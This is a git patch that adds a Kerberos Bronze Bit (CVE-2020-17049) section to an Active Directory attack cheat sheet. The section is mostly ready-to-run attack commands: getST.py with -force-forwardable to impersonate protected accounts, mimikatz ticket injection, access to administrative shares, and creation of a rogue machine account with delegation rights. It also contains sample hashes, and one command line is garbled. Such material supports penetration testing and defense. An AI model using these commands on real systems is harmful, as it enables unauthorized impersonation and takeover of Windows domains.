From 67752de6e9d927c2678b1c64357bc4450ed50ecf Mon Sep 17 00:00:00 2001
From: Swissky <12152583+swisskyrepo@users.noreply.github.com>
Date: Fri, 18 Dec 2020 22:38:30 +0100
Subject: [PATCH] Bronze Bit Attack

---
 .../Active Directory Attack.md                | 54 +++++++++++++++++++
 1 file changed, 54 insertions(+)

diff --git a/Methodology and Resources/Active Directory Attack.md b/Methodology and Resources/Active Directory Attack.md
index 0e4857a..babc46a 100644
--- a/Methodology and Resources/Active Directory Attack.md	
+++ b/Methodology and Resources/Active Directory Attack.md	
@@ -65,6 +65,7 @@
     - [Kerberos Unconstrained Delegation](#kerberos-unconstrained-delegation)
     - [Kerberos Constrained Delegation](#kerberos-constrained-delegation)
     - [Kerberos Resource Based Constrained Delegation](#kerberos-resource-based-constrained-delegation)
+    - [Kerberos Bronze Bit Attack - CVE-2020-17049](#kerberos-bronze-bit-attack---cve-2020-17049)
     - [Relay delegation with mitm6](#relay-delegation-with-mitm6)
     - [PrivExchange attack](#privexchange-attack)
     - [PXE Boot image attack](#pxe-boot-image-attack)
@@ -1839,6 +1840,56 @@ Resource-based Constrained Delegation was introduced in Windows Server 2012.
     [+] Ticket successfully imported!
     ```
 
+### Kerberos Bronze Bit Attack - CVE-2020-17049
+
+> An attacker can impersonate users which are not allowed to be delegated. This includes members of the **Protected Users** group and any other users explicitly configured as **sensitive and cannot be delegated**.
+
+> Patch is out on November 10, 2020, DC are most likely vulnerable until [February 2021](https://support.microsoft.com/en-us/help/4598347/managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049).
+
+:warning: Patched Error Message : `[-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)`
+
+Requirements:
+* Service account's password hash 
+* Service account's with `Constrained Delegation` or `Resource Based Constrained Delegation`
+* [Impacket PR #1013](https://github.com/SecureAuthCorp/impacket/pull/1013) 
+
+**Attack #1** - Bypass the `Trust this user for delegation to specified services only – Use Kerberos only` protection and impersonate a user who is protected from delegation.
+
+```powershell
+# forwardable flag is only protected by the ticket encryption which uses the service account's password 
+$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable
+
+$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable
+
+# Load the ticket
+.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit
+
+# Access "c$"
+ls \\service2.test.local\c$
+```
+
+**Attack #2** - Write Permissions to one or more objects in the AD
+
+```powershell
+# Create a new machine account
+Import-Module .\Powermad\powermad.ps1
+New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
+.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit
+
+# Set PrincipalsAllowedToDelegateToAccount
+Install-WindowsFeature RSAT-AD-PowerShell
+Import-Module ActiveDirectory
+Get-ADComputer AttackerService
+Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
+Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
+
+# Execute the attack
+python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
+
+# Load the ticket
+.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
+```
+
 ### Relay delegation with mitm6
 
 Prerequisites: 
@@ -2148,3 +2199,6 @@ CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
 * [ACE to RCE - @JustinPerdok - July 24, 2020](https://sensepost.com/blog/2020/ace-to-rce/)
 * [Zerologon:Unauthenticated domain controller compromise by subverting Netlogon cryptography (CVE-2020-1472) - Tom Tervoort, September 2020](https://www.secura.com/pathtoimg.php?id=2055)
 * [Access Control Entries (ACEs) - The Hacker Recipes - @_nwodtuhs](https://www.thehacker.recipes/active-directory-domain-services/movement/abusing-aces)
+* [CVE-2020-17049: Kerberos Bronze Bit Attack – Practical Exploitation - Jake Karnes - December 8th, 2020](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/)
+* [CVE-2020-17049: Kerberos Bronze Bit Attack – Theory - Jake Karnes - December 8th, 2020](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-theory/)
+* [Kerberos Bronze Bit Attack (CVE-2020-17049) Scenarios to Potentially Compromise Active Directory](https://www.hub.trimarcsecurity.com/post/leveraging-the-kerberos-bronze-bit-attack-cve-2020-17049-scenarios-to-compromise-active-directory)